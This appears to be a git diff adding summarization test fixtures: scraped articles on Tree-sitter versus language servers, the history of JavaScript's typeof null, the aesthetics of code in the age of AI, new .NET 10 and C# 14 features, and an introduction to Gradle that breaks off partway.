b/tests/summarization/https___lambdaland.org_posts_2026-01-21_tree-sitter_vs_lsp_.txt new file mode 100644 index 0000000..8976103 --- /dev/null +++ b/tests/summarization/https___lambdaland.org_posts_2026-01-21_tree-sitter_vs_lsp_.txt @@ -0,0 +1,2 @@ +Lambda Land About Technical Blog RSS Feed Contents Tree-sitter Language server Using a language server for highlighting Meta aside: the LLM angle Explainer: Tree-sitter vs. LSP Contents Tree-sitter Language server Using a language server for highlighting Meta aside: the LLM angle Explainer: Tree-sitter vs. LSP 21 Jan 2026 Tools, Programming I got asked a good question today: what is the difference between Tree-sitter and a language server? I don’t understand how either of these tools work in depth, so I’m just going to explain from an observable, pragmatic point of view. Tree-sitter # Tree-sitter is a parser generator. What this means is that you can hand Tree-sitter a description for a programming language and it will create a program that will parse that language for you. What’s special about Tree-sitter is that it is a.) fast, and b.) can tolerate syntax errors in the input. These two properties make Tree-sitter ideal for creating syntax highlighting engines in text editors. When you’re editing a program, most of the time the program will be in a syntactically invalid state. During that time, you don’t want your colors changing or just outright breaking while you’re typing. Naïve regex-based syntax highlighters frequently suffer from this issue. Tree-sitter also provides a query language where you can make queries against the parse tree. I use this in the Emacs package I’m trying to develop to add Typst support to the Citar citation/bibliography tool: I can ask Tree-sitter to find a particular syntax object; it is safer and more robust than using a regular expression because it can do similar parsing to the Typst engine itself. In short, Tree-sitter provides syntax highlighting that is faithful to how the language implementation parses the program, instead of relying on regular expressions that incidentally come close. Language server # A language server is a program that can analyze a program and report interesting information about that program to a text editor. A standard, called the Language Server Protocol (LSP), defines the kinds of JSON messages that pass between a text editor and the server. The protocol is an open standard; any language and any text editor can take advantage of the protocol to get nice smart programming helps in their system. Language servers can provide information like locating the definition of a symbol, possible completions at the cursor point, etc. to a text editor which can then decide how and when to display or use this information. Language servers solve the “ N×MN \times MN×M problem” where NNN programming languages and MMM text editors would mean there have to be N×MN \times MN×M implementations for language analyzers. Now, every language just needs a language server, and every editor needs to be able to speak the LSP protocol. Language servers are powerful because they can hook into the language’s runtime and compiler toolchain to get semantically correct answers to user queries. For example, suppose you have two versions of a pop function, one imported from a stack library, and another from a heap library. If you use a tool like the dumb-jump package in Emacs I just want to say that I think dumb-jump is very cool and I am not trying to knock it down at all. It’s honest about its limitations and can be handy when you do not have a language server available. and you use it to jump to the definition for a call to pop, it might get confused as to where to go because it’s not sure what module is in scope at the point. A language server, on the other hand, should have access to this information and would not get confused. Using a language server for highlighting # It is possible to use the language server for syntax highlighting. I am not aware of any particularly strong reasons why one would want to (or not want to) do this. The language server can be a more complicated program and so could surface particularly detailed information about the syntax; it might also be slower than tree-sitter. Emacs’ built-in LSP client, Eglot, recently added eglot-semantic-tokens-mode to support syntax highlighting as provided from the language server. I have tried this a little bit in Rust code and it seems fine; the Tree-sitter-based syntax highlighting has been working just fine for me, so I will probably stick to that unless I find a compelling reason to use the LSP-based highlighting. Meta aside: the LLM angle # I wrote all of the above article. I did not ask an LLM to generate any portion of it. Please know that whenever you read something on my blog, it comes 100% from a human—me, Ashton Wiersdorf. I am not so anti-AI to say that LLMs are worthless or should never be used. I’ve used LLMs a little bit. I think they’re fantastic at translating between languages; this seems to be something that they should be good at doing. They’re helpful at writing some boring parts of the code I write. However, most of the time I find that I can typically write the tricky bits of the code about as fast as I could specify to an LLM what I want. I know that an LLM could have generated a facile pile of text much like the above, and honestly it would probably be decently helpful. However, know that what you have just read came directly from the fingers of a person who thought about the topic and bent his effort to helping you understand. This is from real human who understands the meaning behind each word here. I do not play games with syntax and generate answer-shaped blog posts. There is real meaning here. Enjoy it, and go forth and make more of it. Mastodon © Ashton Wiersdorf 2026 +============== diff --git a/tests/summarization/https___nuancesprog.ru_p_30448_.txt b/tests/summarization/https___nuancesprog.ru_p_30448_.txt new file mode 100644 index 0000000..e1e221f --- /dev/null +++ b/tests/summarization/https___nuancesprog.ru_p_30448_.txt @@ -0,0 +1,2 @@ +Объект, который не является объектом В JavaScript есть свои забавные особенности, и одна из них — оператор typeof, который определяет тип значения. Ожидаемое поведение: typeof 100 //число typeof "string" //строка typeof {} //объект typeof Symbol //функция typeof undefinedVariable // undefined А вот это — наш фаворит, главный герой сегодняшней статьи: typeof null // объект JavaScript, как и другие языки программирования, имеет типы, которые можно разделить на «примитивные» — те, которые возвращают единственное значение (null, undefined, boolean, symbol, bigint, string), и типы «object» со сложной структурой. Проще говоря, например, boolean в JavaScript представляет собой нечто, не имеющее очень сложной структуры, так как возвращает только одно значение: true или false. К примеру, в современной реализации Firefox используется техника под названием «pointer tagging», где 64-битное значение кодирует тип и значение или адрес в куче. Посмотрим, как в этой реализации обрабатываются булевы значения: const flagTrue = true; Keyword | Tag | Payload false | JSVAL_TAG_BOOLEAN | (0xFFFE*) 0x000000000000 true | JSVAL_TAG_BOOLEAN | (0xFFFE*) 0x000000000001 Можно заметить, что старшие биты отвечают за определение типа данных, а младшие — за полезную нагрузку или адрес выделенного объекта в куче. Таким образом, в данном случае наши true/false представлены в двоичном виде как 1/0. Вероятно, вы задаетесь вопросом, какое отношение это имеет к тому, что typeof null возвращает object вместо null. Чтобы понять это, нужно вернуться на 30 лет назад к оригинальной реализации JavaScript в Netscape, которая использовала 32-битную схему разметки, совершенно отличную от современных движков. Брендану Эйху, которого наняла Netscape, в то время являвшаяся основным игроком на рынке браузеров, из-за значительных требований рынка и жесткой конкуренции со стороны таких компаний, как Microsoft и Sun Microsystems, поручили создание прототипа языка программирования, который должен был соответствовать ключевым критериям: быть простым для широкого круга людей (без статической типизации и установки компилятора); позволять пользователям манипулировать DOM на базовом уровне. Через 10 дней был создан язык программирования, который носил поочередно такие названия, как Mocha, LiveScript и, наконец, JavaScript — из-за маркетингового давления с целью использования популярности Java. Спустя 10 дней родился прототип языка программирования, который, несмотря на последующий закат браузера Netscape из-за конкуренции с Microsoft и установки Internet Explorer по умолчанию в Windows, сохранился до наших дней и продолжает развиваться. Браузер Netscape был написан на C, как и сама реализация JavaScript. Поэтому обратимся к реализации typeof в Netscape Navigator 1.3, которая приветствовала программистов того времени командой help с таким сообщением: js> help() JavaScript-C 1.3 1998 06 30 А код, реализующий typeof, выглядел так: JS_TypeOfValue(JSContext *cx, jsval v) { JSType type; JSObject *obj; JSObjectOps *ops; JSClass *clasp; CHECK_REQUEST(cx); if (JSVAL_IS_VOID(v)) { type = JSTYPE_VOID; } else if (JSVAL_IS_OBJECT(v)) { obj = JSVAL_TO_OBJECT(v); if (obj && (ops = obj->map->ops, ops == &js_ObjectOps ? (clasp = OBJ_GET_CLASS(cx, obj), clasp->call || clasp == &js_FunctionClass) : ops->call != 0)) { type = JSTYPE_FUNCTION; } else { type = JSTYPE_OBJECT; } } else if (JSVAL_IS_NUMBER(v)) { type = JSTYPE_NUMBER; } else if (JSVAL_IS_STRING(v)) { type = JSTYPE_STRING; } else if (JSVAL_IS_BOOLEAN(v)) { type = JSTYPE_BOOLEAN; } return type; } Макросы, определяющие типы данных в Netscape 1.3, выглядели следующим образом: #define JSVAL_OBJECT 0x0 /* непомеченная ссылка на объект */ #define JSVAL_INT 0x1 /* помеченное 31-битное целочисленное значение */ #define JSVAL_DOUBLE 0x2 /* помеченная ссылка на число двойной точности */ #define JSVAL_STRING 0x4 /* помеченная ссылка на строку */ #define JSVAL_BOOLEAN 0x6 /* помеченное булево значение */ Что соответствовало такому представлению в памяти (32-битная система): Type Tag (Low 3 bits) Memory (32 bits) Value Object 000 (0x0) [29-bit pointer][000] 0x12345000 Integer 001 (0x1) [29-bit int value][001] 0x00006401 (42) Double 010 (0x2) [29-bit pointer][010] 0xABCDE002 → heap String 100 (0x4) [29-bit pointer][100] 0x78901004 → “hello” Boolean 110 (0x6) [29-bit value][110] 0x00000006 (true) На основе этой информации можно создать упрощенную программу, перенеся несколько макросов из Netscape для исследования задачи (код упрощен в учебных целях): #include #include typedef unsigned long pruword; typedef long prword; typedef prword jsval; #define PR_BIT(n) ((pruword)1 << (n)) #define PR_BITMASK(n) (PR_BIT(n) - 1) #define JSVAL_OBJECT 0x0 /* непомеченная ссылка на объект */ #define OBJECT_TO_JSVAL(obj) ((jsval)(obj)) #define JSVAL_NULL OBJECT_TO_JSVAL(0) #define JSVAL_TAGMASK PR_BITMASK(JSVAL_TAGBITS) #define JSVAL_TAG(v) ((v) & JSVAL_TAGMASK) #define JSVAL_IS_OBJECT(v) (JSVAL_TAG(v) == JSVAL_OBJECT) #define JSVAL_TAGBITS 3 struct JSObject { struct JSObjectMap *map; }; struct JSObjectMap { }; // Вспомогательная функция для вывода двоичного представления void print_binary(unsigned long n) { for (int i = 31; i >= 0; i--) { printf("%d", (n >> i) & 1); } printf("\n"); } int main() { struct JSObject* obj = malloc(sizeof(struct JSObject)); jsval objectValue = OBJECT_TO_JSVAL(obj); jsval null = JSVAL_NULL; printf("Is object %d\n", JSVAL_IS_OBJECT(objectValue)); printf("Is null an object %d\n", JSVAL_IS_OBJECT(null)); printf("Binary representation of object: "); print_binary(objectValue); printf("Binary representation of null: "); print_binary(null); } Результат выполнения этой программы: Is object 1 Is null an object 1 Binary representation of object: 01011000000010100011000111100000 Binary representation of null: 00000000000000000000000000000000 Как видите, null и object возвращают одинаковое значение в макросе JSVAL_IS_OBJECT. Почему же null и object неразличимы при проведении такой проверки? Объяснение этому заключается в упомянутой выше модели разметки и использовании памяти в качестве идентификатора типов object в JavaScript. Поскольку JavaScript является языком с динамической типизацией, объявления типов должны были где-то храниться, поэтому в данном случае разработчик решил выделить 3 младших бита для идентификации типа. Установка 000 в качестве идентификатора объекта происходит из механизма работы 32-битной архитектуры и требований аппаратного обеспечения, связанных с выравниванием памяти. Объекты и массивы — это структуры, более сложные, чем примитивные типы, поэтому они выделяются в куче. В 32-битной архитектуре ЦП загружает данные порциями по 32 бита (4 байта), и система управления памятью обеспечивает выравнивание адресов объектов по границам 4 байт. Это означает, что каждый адрес указателя на объект делится на 4, что в двоичном представлении приводит к тому, что адреса объектов всегда оканчиваются двумя нулями в двоичной записи (поскольку 4 = 100 в двоичной системе). Однако на практике в качестве меток использовались три младших бита, поэтому адреса имели 8-байтовое выравнивание, что обеспечивало три нуля в конце. В случае представления null мы видим, что это значение 0 (все нули), которое ссылается на нулевой указатель в C, что в большинстве архитектур определяется как ((void*)0), означая несуществующее место в памяти. Поскольку null представлен как 0x00000000, а три младших бита — 000, макрос JSVAL_IS_OBJECT считает null объектом! Можно ли было это исправить? Конечно! Как видим, представление null — это просто 0, несуществующее место в памяти, тогда как объект — это нечто существующее, а макрос, который корректно проверял на null, присутствовал в коде, но не использовался в функции typeof! #define JSVAL_IS_NULL(v) ((v) == JSVAL_NULL) Поэтому функция typeof должна выглядеть так: JS_TypeOfValue(JSContext *cx, jsval v) { JSType type; JSObject *obj; JSObjectOps *ops; JSClass *clasp; CHECK_REQUEST(cx); if (JSVAL_IS_NULL(v)) { //проверка, является ли значение null! type = JSTYPE_NULL; } else if (JSVAL_IS_VOID(v)) { type = JSTYPE_VOID; } else if (JSVAL_IS_OBJECT(v)) { obj = JSVAL_TO_OBJECT(v); if (obj && (ops = obj->map->ops, ops == &js_ObjectOps ? (clasp = OBJ_GET_CLASS(cx, obj), clasp->call || clasp == &js_FunctionClass) : ops->call != 0)) { type = JSTYPE_FUNCTION; } else { type = JSTYPE_OBJECT; } } else if (JSVAL_IS_NUMBER(v)) { type = JSTYPE_NUMBER; } else if (JSVAL_IS_STRING(v)) { type = JSTYPE_STRING; } else if (JSVAL_IS_BOOLEAN(v)) { type = JSTYPE_BOOLEAN; } return type; } Пример реализации с извлеченным кодом, который можно скомпилировать, находится здесь. Если ошибку было так просто исправить, почему ее не исправили? Дело в том, что миллионы страниц уже начали использовать JavaScript с этой ошибкой; о ней знали и обрабатывали ее соответствующим образом. Более того, в 2013 году поступило официальное предложение исправить это поведение в стандарте ECMAScript, но оно было отклонено именно из-за обратной совместимости — слишком большое количество уже написанного кода могло перестать работать. Поэтому, несмотря на то, что прошло 30 лет, это поведение напоминает нам о контексте создания JavaScript и исторических решениях в его разработке. Чтобы действительно проверить, является ли значение объектом, а не null, нужно обрабатывать это следующим образом: if (value !== null && typeof value === 'object') { // это настоящий объект! } Читайте также: Ключевые понятия JavaScript, которые должен знать каждый разработчик — часть 2 5 основных методов работы с @Cacheable в JavaScript Функции call, apply и bind: использование и сравнение Читайте нас в Telegram, VK и Дзен Перевод статьи Piotr Zarycki: Why typeof null === object +============== diff --git a/tests/summarization/https___nuancesprog.ru_p_30453_.txt b/tests/summarization/https___nuancesprog.ru_p_30453_.txt new file mode 100644 index 0000000..0f1de34 --- /dev/null +++ b/tests/summarization/https___nuancesprog.ru_p_30453_.txt @@ -0,0 +1,2 @@ +Фото Alexander Sinn на Unsplash Когда я впервые увидел, как работает быстрая сортировка, я был потрясен. В ней было что-то почти поэтическое. Горстка строк, в которых ощущался идеальный баланс — никакой избыточности, ничего лишнего. Каждая инструкция служила цели, каждая строка имела вес. Это был не просто алгоритм; это была композиция. И чем больше я сравнивал его с другими методами сортировки, которые были медленнее, тяжеловеснее и затратнее в плане времени или памяти, тем больше восхищался его чистотой. Красота в простоте Быстрая сортировка на C++: void quicksort(vector& arr, int left, int right) { int i = left, j = right; int pivot = arr[(left + right) / 2]; while (i <= j) { while (arr[i] < pivot) i++; while (arr[j] > pivot) j--; if (i <= j) swap(arr[i++], arr[j--]); } if (left < j) quicksort(arr, left, j); if (i < right) quicksort(arr, i, right); } Она процедурна и механистична, но в том, как она перемещает данные вокруг опорного элемента, есть изящество — почти как в искусстве хореографии. А теперь взгляните на тот же алгоритм, написанный на Haskell: quicksort :: (Ord a) => [a] -> [a] quicksort [] = [] quicksort (x:xs) = quicksort [a | a <- xs, a <= x] ++ [x] ++ quicksort [a | a <- xs, a > x] Это минимализм в его лучшем проявлении. Рекурсивный, декларативный, не требующий усилий. Он больше похож на определение порядка, чем на процесс. Когда я впервые увидел его, я испытал то же удовлетворение, которое чувствует математик, когда уравнение внезапно обретает смысл. Долгое время я был одним из тех, кто искал эту красоту — ту, что скрывается в балансе между логикой, синтаксисом и целью. Со временем эти поиски перетекли в том, что мы теперь называем лучшими практиками: чистый код, читаемость, эффективность и удобство сопровождения. Но в основе всей этой структуры лежало все то же стремление — создать нечто правильное. Эпоха кода, создаваемого вручную Изображение сгенерировано автором с помощью DALL-E Было время, когда программисты писали код так, как поэты писали стихи. Они были помешаны на именовании, отступах и рекурсии. Одна изящная строка на Lisp или Python могла вызвать улыбку — подобно красивой последовательности аккордов. Чтение кода было актом обучения и восхищения. Проекты с открытым исходным кодом были не просто инструментами; они служили в качестве живых музеев стиля. Помню, как листал «Искусство программирования» Дональда Кнута и понимал, что программирование никогда не сводилось лишь к тому, чтобы заставить машину работать. Оно заключалось в воплощении идей в логику, в умении мыслить достаточно ясно, чтобы компьютер мог понять тебя. В те времена можно было определить, кто написал тот или иной код. В коде заключался почерк человека, его голос. А теперь откройте репозиторий на GitHub и спросите себя: сможете ли вы определить, был ли этот код написан человеком или моделью? И имеет ли это вообще значение? Эпоха черного ящика Не могу не задаваться вопросом: что произойдет с этим чувством прекрасного, когда генеративные инструменты возьмут верх? Если код будущего будут писать модели, которые не видят и не чувствуют, куда денется элегантность? Когда результат станет черным ящиком — корректным, но непонятным — кому будет важно, красив ли он? Такое ощущение, что мы отбрасываем все, что ценили раньше, но не могли измерить. Если люди больше не будут читать код, останется ли важным такое свойство, как читаемость? Если производительность оптимизируется автоматически, зачем думать о распределении памяти? И если конечный результат просто работает, кому важно, как он был достигнут? Недавно, работая над миграцией одного Python-пакета, я осознал, что большое количество нашего кода было написано так, а не иначе не потому, что это быстрее, а потому, что это красивее. Элегантнее. Потому что в какой-то момент пути программисты, включая меня, начали считать себя художниками. Но когда я прошу Claude или другие генеративные инструменты отрефакторить этот код, они часто испытывают трудности. Они правильно понимают синтаксис, но упускают замысел. Упускают смыслы, которые живут между строк. Так в чем же настоящая проблема — в том, что люди обманывали себя, или в том, что генеративные модели все еще не могут постичь глубинные слои человеческого мышления? Новые отношения с инструментами Раньше программирование было связано с открытиями. Вы начинали с чистого листа и создавали что-то шаг за шагом, постигая суть через отладку. Сегодня программирование — это больше про выбор. Вы даете промпт модели, получаете десять вариантов и выбираете тот, который кажется правильным. Вместо вопроса «Как мне это создать?» мы теперь спрашиваем: «Какому из этих сгенерированных решений я могу доверять?» Этот сдвиг изменил процесс обучения. Отладка, когда-то служившая нам лучшим учителем, постепенно исчезает. Вам больше не нужно вникать в логику — можно просто перегенерировать весь блок. Код работает, но понимание его работы уходит. Новички, возможно, никогда не испытают радости наблюдать, как алгоритм разворачивается в их сознании, как приходит понимание того, почему что-то работает, а не просто факта, что оно работает. Процесс осмысления кода подменяется процессом его отбора. Когда машины пишут код для машин Я часто задумываюсь, кто победит в этой тихой войне: модели, которые в конечном итоге научатся писать так, как мы, художники кода, или программисты, которые смирятся с тем, что красота кода больше не важна, а имеет значение только его функциональность. Я пользуюсь этими инструментами каждый день. Они поразительны и ускоряют мою работу. И все же я работаю вместе с блестящими инженерами, которые их избегают. Думаю, частично такое сопротивление вызвано нежеланием отказываться от творческой составляющей. Писать код когда-то означало оставлять после себя след — свой вкус, свою дисциплину, ход своих мыслей. Теперь это больше похоже на отбор результатов чужого интеллектуального труда. Изображение создано автором с помощью DALL-E Это не то же самое, что создаваемые ИИ картины или музыка, где машина все еще творит для людей. Здесь машины пишут для машин. Мы, люди, просто потребляем конечный результат: работающее API, веб-приложение, дэшборд. Речь уже не идет об элегантности. Больше нет кода, который ощущается как что-то, что было создано вручную. Исчезающее мастерство Есть и другой аспект, показывающий, насколько система все еще хрупка. Если большая часть нового кода генерируется, то на чем мы обучаем наши модели? На существующем коде, написанном человеком, но также и на растущем океане кода, созданного ИИ, который, возможно, больше не несет в себе человеческой логики. Если это так, то красота не просто угасает — она исчезает. Ведь следующее, чему научится модель, — это паттерны из паттернов, лишенные изначального замысла, который их сформировал. Что произойдет, когда мы столкнемся с техническим долгом? Поймут ли наши самые умные инструменты генерации кода, что делать с давно написанным фрагментом кода, глубоко кастомизированным, запутанным, но эффективным? Или нам придется нанимать одного из тех оставшихся инженеров, которые все еще используют прежние образцы мышления, подобно тому, как банкам приходилось снова брать на работу программистов на COBOL, потому что никто, кроме них, не мог прочитать код? Что же уцелеет? Возможно, красота не умирает. Возможно, она просто переходит в иное качество. Может статься, в будущем изящество будет жить не в строках кода, а во взаимодействии между человеком и машиной — в том, как мы формулируем промтпы, оркестрируем агентов или определяем логику на более высоких уровнях абстракции. Возможно, мы начнем восхищаться другим видом ясности — способностью точно и эмпатично переводить человеческое намерение в машинное мышление. Это может стать новой формой искусства. Дизайн промптов как поэзия. Архитектура систем как композиция. Проектирование потоков как повествование. Это не та красота, на которой мы выросли и которую можно было прочесть строка за строкой, но та, которая все еще может быть искусством, принадлежащим тому гибридному миру, который мы строим. Эпилог: Красота как побочный продукт Изображение создано автором с помощью DALL-E Возможно, в этом и заключается ирония. Раньше мы вкладывали красоту в код, потому что должны были его видеть. Скоро мы, возможно, будем создавать код, который не сможем увидеть вовсе. И все же я верю, что в этом стремлении было нечто ценное — не потому, что оно делало программное обеспечение лучше, а потому, что совершенствовало нас самих. Оно учило нас заботиться о структуре, уважать логику, находить гармонию между хаосом и порядком. Оно напоминало нам, что за каждой функцией когда-то стояла человеческая рука, пытавшаяся не только заставить что-то работать, но и сделать это прекрасным. Хотя бы саму малость. Читайте также: Чистота и порядок: 3 правила для идеальной базы кода Формирование эффективной и целостной культуры ревью кода Как писать понятный код Читайте нас в Telegram, VK и Дзен Перевод статьи Alessandro Romano: The Lost Beauty of Code +============== diff --git a/tests/summarization/https___nuancesprog.ru_p_30511_.txt b/tests/summarization/https___nuancesprog.ru_p_30511_.txt new file mode 100644 index 0000000..73923de --- /dev/null +++ b/tests/summarization/https___nuancesprog.ru_p_30511_.txt @@ -0,0 +1,38 @@ +Каждой осенью у разработчиков .NET наступает раннее Рождество: последние версии C# и .NET выходят из стадии превью и предоставляются в виде полностью поддерживаемых релизов с долгосрочной (LTS) или стандартной (STS) поддержкой. Этой осенью вышел релиз с долгосрочной поддержкой (LTS), и, вероятно, в течение следующего года многие организации перейдут на него в качестве предпочтительной версии .NET. Хотя есть множество полезных постов, охватывающих весь набор выпускаемых функций и улучшений, цель этой статьи — направить ваше внимание на те из них, которые больше всего впечатлили нашу команду, а именно: Реклама новые возможности языка C#, связанные с методами расширения и синтаксисом полей; улучшения Minimal API и документации OpenAPI в ASP.NET Core 10; новые функции и улучшения для Entity Framework Core; новая модель поддержки релизов без долгосрочной поддержки (non-LTS) Итак, рассмотрим основные моменты. Улучшения в языке C# 14 Хотя в C# 14 представлен ряд изменений, включая расширенную поддержку Span и ReadOnlySpan, новое нулевое условное присваивание (mayBeNull?.Name = "This is only set if mayBeNull is not null"), частичные конструкторы и некоторые другие усовершенствования, хочу выделить несколько изменений, связанных с работой со свойствами. Ключевое слово field В C# автоматические свойства (auto-properties) появились уже давно. Они автоматически создают резервные поля, что приводит к более лаконичному и сфокусированному синтаксису, повышающему производительность разработчика. С годами свойства и автоматические свойства продолжали развиваться и улучшаться, но все еще остаются случаи, когда может потребоваться явное объявление свойства. Например, следующий код раньше требовал объявления поля вручную для проверки: private string _firstName; +public string FirstName +{ + get => _firstName; + set => _firstName = value ?? throw new InvalidOperationException("First name is required"); +} Теперь с ключевым словом field можно полностью отказаться от явного объявления поля и использовать field для ссылки на поле, которое .NET генерирует для нас: public string FirstName +{ + get => field; + set => field = value ?? throw new InvalidOperationException("First name is required"); +} Это минимальное изменение, но мне оно нравится, так как сокращает объем нефункционального кода в файле. Это, в свою очередь, помогает сохранить сфокусированность кода на поведении, а не на структуре или формальностях. Свойства расширений и альтернативный синтаксис методов расширения С появлением LINQ мы получили возможность создавать методы расширения, которые выглядят как новые методы, «присоединенные» к существующим классам, с помощью такого синтаксиса: public static class StringExtensions +{ + public static string DoOurCustomTransform(this string input) + { + return input.ToUpperInvariant().Trim(); + } +} Это позволяло вызывать метод в таких сценариях: string prompt = Console.ReadLine(); +string cleaned = prompt.DoOurCustomTransform(); В C# 14 такая функция по-прежнему доступна, но теперь для этого появился альтернативный синтаксис с использованием ключевого слова extension: public static class StringExtensions +{ + extension(string input) + { + public string DoOurCustomTransform() + { + return input.ToUpperInvariant().Trim(); + } + } +} Обратите внимание: параметр перемещён из метода в блок extension, а ключевое слово static больше не требуется. Поскольку я преподаватель в прошлом, считаю, что этот синтаксис будет более интуитивно понятен для новичков. Однако главное преимущество этого синтаксиса — возможность объявлять члены расширения: public static class StringExtensions +{ + extension(string input) + { + public string DoOurCustomTransform() + { + return input.ToUpperInvariant().Trim(); + } + public string CleanedString => input.DoOurCustomTransform(); + } +} В этом блоке добавлено свойство CleanedString, которое использует наше преобразование. Таким образом, можно писать код, вызывающий это свойство (геттер) для любой строки, используя следующий синтаксис: string userInput = Console.ReadLine(); +string cleaned = userInput.CleanedString; Это довольно лаконично и удобно, а также расширяет возможности по добавлению новых API к коду и распределению кода по разным файлам, если такая организация для вас целесообразна. Я ожидаю, что свойств расширений будет использоваться меньше, чем методов расширений, но я рад, что такая возможность теперь есть. Кроме того, считаю, что новый опциональный синтаксис более удобен для новичков и полезен для группировки связанных методов расширений и свойств расширений, поэтому, вероятно, я начну постепенно переходить на новый синтаксис при написании кода. Усовершенствования, связанные с Minimal API Изучая полный список изменений в ASP.NET Core 10, можно заметить, что там много всего, связанного с различными аспектами ASP.NET, включая Blazor, аутентификацию, SignalR и другие области. Однако больше всего меня привлекли возможности, связанные с управлением API через Minimal API и OpenAPI. Когда появились Minimal API, они предоставили лаконичный способ определения простых конечных точек в обычном коде C# без необходимости в классах Controller. Эти конечные точки отлично подходили для простых демонстраций и микросервисов, которым не нужно предоставлять широкий спектр различных конечных точек, но им также не хватало некоторых полноценных функций, присущих традиционным контроллерам. В ASP.NET Core 10 предусмотрен ряд улучшений для конечных точек Minimal API, включая: улучшенную обработку пустых строк в телах запросов; поддержку атрибутов валидации и IValidatableObject; предоставление детализации проблем с помощью IProblemDetailsService; поддержку событий, отправляемых сервером. Также мы видим новые улучшения в виде возможности поддержки OpenAPI 3.1 и значительное количество новых способов предоставления документации API через конечные точки Minimal API, включая: более точную документацию типов с использованием OpenAPI 3.1; свойство Description для аннотаций ProducesResponseType; поддержку XML-документации для Minimal API со ссылкой на именованный метод для обработки; поддержку внедрения зависимости IOpenApiDocumentProvider для более сложных сценариев; различные другие улучшения документации, связанные с AsParameters, сценариями JSON Patch и многое другое Хотя ни одно из этих улучшений не выделяется само по себе, вместе они свидетельствуют о достижении более профессиональных результатов при использовании Minimal API в рабочих сценариях и о лучшей поддержке документации OpenAPI. Функции Entity Framework Core 10 В EF Core 10 появилось много нового, как можно увидеть из обзора полного списка изменений, но выделю несколько ключевых моментов — работу с эмбеддингами, объединениями и сложными типами, которые расширяют возможности EF для обработки более профессиональных сценариев. Во-первых, EF добавил поддержку эмбеддингов для Azure SQL и SQL Server посредством объявления столбца SqlVector. Это позволяет использовать генератор эмбеддингов для вычисления векторных представлений текста элемента и хранения в этом столбце. Затем можно использовать функцию EF.Functions.VectorDistance для вычисления расстояния между сохранёнными эмбеддингами и поисковым запросом. Эта поддержка векторов становится всё более актуальной в мире с искусственным интеллектом, где эмбеддинги критически важны для обеспечения возможностей RAG, таких как те, что можно увидеть в чат-приложениях, использующих эту технологию. Во-вторых, EF теперь поддерживает столбцы со сложными свойствами из JSON-данных. Это позволяет использовать строго типизированные определения классов C# для представления данных, которые хранятся в виде JSON в строках базы данных, не беспокоясь о сложностях сериализации и десериализации. Хотя я стараюсь избегать хранения JSON в базах данных, бывают случаи, когда это неизбежно или целесообразно для конкретного сценария. В таких случаях работать со сложными свойствами из JSON-данных очень удобно. Кроме того, в EF представлен ряд других интересных функций, таких как фильтры именованных запросов, которые можно определять и при необходимости отключать. Это помогает сократить код, если вы часто используете одни и те же проверки (например, фильтрацию удаленных записей). Очень рад был увидеть улучшения оптимизации запросов к SQL, которые увеличивают вероятность использования плана кэшированного запроса при применении оператора IN, так как я часто на него полагаюсь. Наконец, я очень впечатлен добавлением анализатора кода, который может помечать случаи, когда выполнение необработанного SQL-запроса делает возможным SQL-инъекции, поскольку эти атаки остаются распространенной уязвимостью для команд даже в конце 2025 года. Изменения в стандартном сроке поддержке (STS) Одним из самых значительных изменений в этом году в контексте LTS-релиза является изменение не самого релиза, а того, как долго будут поддерживаться STS-релизы. .NET выпускает релизы с долгосрочной поддержкой (LTS) через год, а в промежуточные годы выходят релизы со стандартным сроком поддержки (STS). Это позволяет .NET продолжать поставлять новые функции и улучшения, но при этом дает организациям стабильность и долгосрочную поддержку, если они не могут часто обновляться. Однако эти STS-релизы в основном использовались в непроизводственных сценариях, а их полные функции перенимались организациями в составе следующего LTS-релиза. Это происходило потому, что срок поддержки STS-релизов истекал раньше, чем у предыдущего LTS-релиза. Это означало, что у организаций, обновляющихся с LTS до следующего STS-релиза, дата окончания поддержки их приложения сдвигалась вперед при переходе на STS-релизы. Как следствие, большинство организаций оставались на LTS-релизах и использовали STS-релизы только в том случае, если им было критически важно получить что-то из нововведений. С новым изменением STS-релизы теперь поддерживаются в течение 24 месяцев вместо 18. Это означает, что по сути для организации теперь нет никаких негативных последствий при переходе на STS-релиз, если она этого захочет, или при начале новых проектов с использованием этого STS-релиза вместо предпочтительного LTS-релиза. Иллюстрация Microsoft нового жизненного цикла поддержки Это изменение, будем надеяться, облегчит организациям внедрение STS-релизов и обеспечит одинаковую значимость LTS-релизов и будущих STS-релизов. Заключительные мысли Я лишь поверхностно коснулся того, что готовят C# 14 и .NET 10, но надеюсь, вы уловили общую тенденцию: мы видим не несколько громких нововведений, а платформу, которая продолжает оставаться актуальной и ежегодно улучшаться за счет новых удобств, поддержки отраслевых трендов, повышения производительности и последовательного совершенствования существующего функционала. Я с энтузиазмом работаю с этими инструментами как в своих личных проектах, так и с клиентами, и я рад, что .NET продолжает идти по пути инноваций и развития. Читайте также: Зачем использовать HttpClientFactory вместо HttpClient в .NET Встроенная поддержка контейнеров для .NET 7  —  контейнеризация приложений .NET без Dockerfile C# —  создаем клиент-серверный чат на TCP Читайте нас в Telegram, VK и Дзен Перевод статьи Matt Eland: Our Favorite New Features in .NET 10 and C# 14 +============== diff --git a/tests/summarization/https___nuancesprog.ru_p_30526_.txt b/tests/summarization/https___nuancesprog.ru_p_30526_.txt new file mode 100644 index 0000000..6383f1b --- /dev/null +++ b/tests/summarization/https___nuancesprog.ru_p_30526_.txt @@ -0,0 +1,5 @@ +gradle Непонимание того, как работает Gradle, может затруднить процесс разработки и превратить отладку проблем, связанных с Gradle, в кошмар для разработчика. В этой статье попытаемся дать общий обзор того, как этот инструмент сборки работает в целом и в частности в экосистеме Android. Общие сведения Gradle — это инструмент сборки, который базируется на концепциях более старых инструментов, таких как Apache Maven и Ant. Его использование DSL (предметно-ориентированного языка) устраняет необходимость в громоздких и длинных XML-файлах и позволяет разработчику только объявлять, что должно происходить во время сборки, используя особый и чистый синтаксис. Логику сборки следует определять только в плагинах, чтобы ограничить файл конфигурации сборки лишь объявлениями данных, хотя Gradle пока не считает это ошибкой. Структура Gradle Gradle работает в основном посредством задач и плагинов — комбинаций задач и их конфигураций. Входными данными задачи могут быть файлы или каталоги, а также любые другие данные Java-типа, но результатом служат только каталоги или файлы, записываемые на диск. Кроме того, если определяется задача, которая принимает результат другой задачи в качестве входных данных, мы создаем зависимость, и первая задача должна запускаться до начала выполнения другой. Жизненный цикл Gradle Сборка в Gradle выполняется в 3 этапа: Инициализация. Конфигурация. Выполнение. Пример конфигурации на DSL Следующий пример показывает, как можно задать конфигурацию для Android-части приложения: android { namespace = "com.example.app" compileSdk = 34 // … defaultConfig { applicationId = "com.example.app" minSdk = 34 // 